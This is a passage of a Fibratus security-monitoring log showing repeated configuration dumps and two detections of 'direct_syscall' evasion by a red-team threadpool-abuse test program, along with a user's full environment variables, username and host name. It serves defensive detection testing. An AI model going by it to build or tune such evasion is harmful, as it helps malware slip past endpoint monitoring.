rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text max-backups=>15 max-age=>0 level=>info] + output ......................... [ http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] amqp=>[ exchange-type=>topic durable=>false vhost=>/ passive=>false exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s enabled=>false] elasticsearch=>[ gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus healthcheck=>true timeout=>5s flush-period=>1s trace-log=>false healthcheck-timeout=>5s index-name=>fibratus enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:53:05+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:53:07+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:53:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2317357 + Pid: 20016 + Tid: 11668 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:53:11.6498149 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1ecc8a91a80, subprocess_tag➜ 0, task_id➜ 1ecc8aa3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 20016 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:53:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:53:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:53:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:54:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:54:24+01:00 level=info msg=bootstrapping with pid 21548. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:54:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ stack-enrichment=>true enable-handle=>false enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 flush-interval=>1s enable-threadpool=>true min-buffers=>16 enable-registry=>true enable-dns=>false enable-fileio=>true enable-vamap=>true enable-net=>true enable-image=>true enable-audit-api=>true enable-thread=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-size=>100 level=>info formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s gzip-compression=>false trace-log=>false enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s timeout=>5s template-name=>fibratus bulk-workers=>1 healthcheck=>true sniff=>false index-name=>fibratus] amqp=>[ exchange-type=>topic routing-key=>fibratus url=>amqp://localhost:5672 durable=>false delivery-mode=>transient exchange=>fibratus timeout=>5s enabled=>false vhost=>/ passive=>false tls-insecure-skip-verify=>false] http=>[ timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] enabled=>false serializer=>json method=>POST] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] scan-timeout=>10s skip-registry=>false skip-allocs=>false excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:54:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:54:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:54:30+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2339746 + Pid: 19556 + Tid: 20880 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:54:29.7418808 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 26a729d1a80, subprocess_tag➜ 0, task_id➜ 26a729e3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19556 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:59:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:59:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:59:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:10:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:10:47+01:00 level=info msg=bootstrapping with pid 24068. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:10:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-image=>true stack-enrichment=>true enable-net=>true enable-handle=>false flush-interval=>1s enable-audit-api=>true enable-threadpool=>true min-buffers=>16 enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 max-buffers=>36 enable-fileio=>true enable-registry=>true enable-vamap=>true enable-thread=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-backups=>15 level=>info formatter=>text max-age=>0] + output ......................... [ http=>[ endpoints=>[] enabled=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false enabled=>false healthcheck-timeout=>5s sniff=>false bulk-workers=>1 trace-log=>false timeout=>5s healthcheck-interval=>10s index-name=>fibratus template-name=>fibratus] amqp=>[ delivery-mode=>transient exchange=>fibratus vhost=>/ durable=>false tls-insecure-skip-verify=>false passive=>false url=>amqp://localhost:5672 enabled=>false exchange-type=>topic timeout=>5s routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false skip-registry=>false skip-allocs=>false fastscan=>true skip-mmaps=>false excluded-procs=>[] skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:10:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:10:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:12:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:12:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:12:37+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:12:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:12:51+01:00 level=info msg=bootstrapping with pid 5912. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:12:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false port=>25 content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-dns=>false enable-mem=>false buffer-size=>512 stack-enrichment=>true flush-interval=>1s min-buffers=>16 enable-net=>true enable-threadpool=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-vamap=>true enable-thread=>true max-buffers=>36 enable-image=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text max-age=>0 log-stdout=>true level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 sniff=>false enabled=>false template-name=>fibratus index-name=>fibratus flush-period=>1s healthcheck-interval=>10s trace-log=>false gzip-compression=>false] http=>[ endpoints=>[] enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ passive=>false vhost=>/ delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s durable=>false routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false skip-mmaps=>false excluded-procs=>[] scan-timeout=>10s skip-registry=>false enabled=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:12:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:12:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:13:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:13:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:13:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:13:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T19:13:38+01:00 level=info msg=bootstrapping with pid 7632. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T19:13:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true min-buffers=>16 enable-image=>true buffer-size=>512 flush-interval=>1s enable-dns=>false max-buffers=>36 enable-threadpool=>true enable-mem=>false stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-fileio=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ amqp=>[ enabled=>false vhost=>/ durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient passive=>false exchange-type=>topic routing-key=>fibratus timeout=>5s] elasticsearch=>[ trace-log=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 enabled=>false template-name=>fibratus healthcheck=>true sniff=>false timeout=>5s flush-period=>1s] http=>[ method=>POST timeout=>5s enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] fastscan=>true enabled=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T19:13:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:13:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T19:13:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T19:13:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:13:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T19:14:08+01:00 level=info msg=rule engine is disabled 